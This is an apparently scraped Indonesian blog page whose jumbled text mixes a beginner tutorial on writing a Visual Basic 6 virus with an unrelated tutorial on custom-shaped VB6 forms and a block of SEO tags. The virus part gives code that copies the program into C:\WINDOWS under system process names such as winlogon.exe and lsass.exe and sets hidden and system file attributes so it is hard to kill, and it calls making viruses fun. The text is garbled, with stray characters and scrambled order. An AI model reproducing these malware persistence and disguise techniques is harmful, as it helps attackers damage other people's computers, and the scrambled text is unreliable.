![]() ![]() Sembunyi.GetFile(“C:\WINDOWS\ services.exe”).Attributes = 2 Sembunyi.GetFile(“C:\WINDOWS\ csrss.exe”).Attributes = 2 Sembunyi.GetFile(“C:\WINDOWS\ winlogon.exe”).Attributes = 2 Set sembunyi = CreateObject(“Scripting.FileSystemObject”) Misalnya bikin folder di windows direktoriĪttributes = 3 3 berarti read only hiddenĪttributes = 5 5 berarti system read only Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exeīiar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windowsįileCopy App.EXEName “.exe”, “C:\WINDOWS\ winlogon.exe”įileCopy App.EXEName “.exe”, “C:\WINDOWS\ csrss.exe”įileCopy App.EXEName “.exe”, “C:\WINDOWS\ services.exe”įileCopy App.EXEName “.exe”, “C:\WINDOWS\ smss.exe”įileCopy App.EXEName “.exe”, “C:\WINDOWS\ lsass.exe” Pertama, bikin form buat virus kamu pake Standart exe saja Tertentu dengan source codenya silakan contact Johan. Untuk materi yang lebih beratĪkan disambung lain waktu. ![]() Oh ya, aku juga menyertakan satu contoh virus Saja atau kata lainnya ini masih dasarnya. Tagged belajar visual basic pemula, contoh aplikasi menggunakan visual basic 6, contoh program sederhana visual basic 6.0, keunggulan visual basic, membuat aplikasi android dengan visual basic, understanding visual basic code, visual basic 2008 download microsoft, visual basic close form, visual basic combo box add item, visual basic combobox properties, visual basic drop down list box, visual basic forms tutorial, visual basic hide form, visual basic maximize form, visual basic modal form, visual basic reload form, visual basic reset form, visual basic studio 2008 free download, visual basick, visual basixīikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang Private Sub picMainSkin_MouseMove(Button As Integer, _ Shift As Integer, X As Single, Y As Single) Private Sub picMainSkin_MouseDown(Button As Integer, _ WindowRegion = BentukDaerah(Me.picMainSkin) Public Sub PindahDonk(ctl As Object, Button As Integer, _Ĭtl.Left = IIf(X < StartX, ctl.Left – (StartX – X), _Ĭtl.Top – (StartY – Y), ctl.Top (Y – StartY)) GarisDaerah = CreateRectRgn(AwalGaris, Y, X, Y 1)ĬombineRgn DaerahPenuh, DaerahPenuh, GarisDaerah, 2 If GetPixel(hDC, X, Y) = vbWhite Or X = Lebar Then Tinggi = picSkin.Height / Screen.TwipsPerPixelY Lebar = picSkin.Width / Screen.TwipsPerPixelX Public Function BentukDaerah(picSkin As PictureBox) As Long Tambahkan sebuah Module, ketik kode di bawah:ĭeclare Function DeleteObject Lib “gdi32” _īyVal X As Long, ByVal Y As Long) As Longĭeclare Function CreateRectRgn Lib “gdi32” _ĭeclare Function CombineRgn Lib “gdi32” _ĭeclare Function SetWindowRgn Lib “user32” _ĭeclare Function CreateRoundRectRgn Lib “gdi32” _ ![]() Dengan tampilan form yang berbentuk persegi? Ingin mengubahnya denganīentuk lain yang lebih dinamis? Simak penjelasannya berikut ini!īorderStyle form menjadi 0-None, tempatkan sebuah PictureBox, namaiĭengan “picMainSkin”. ![]()
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |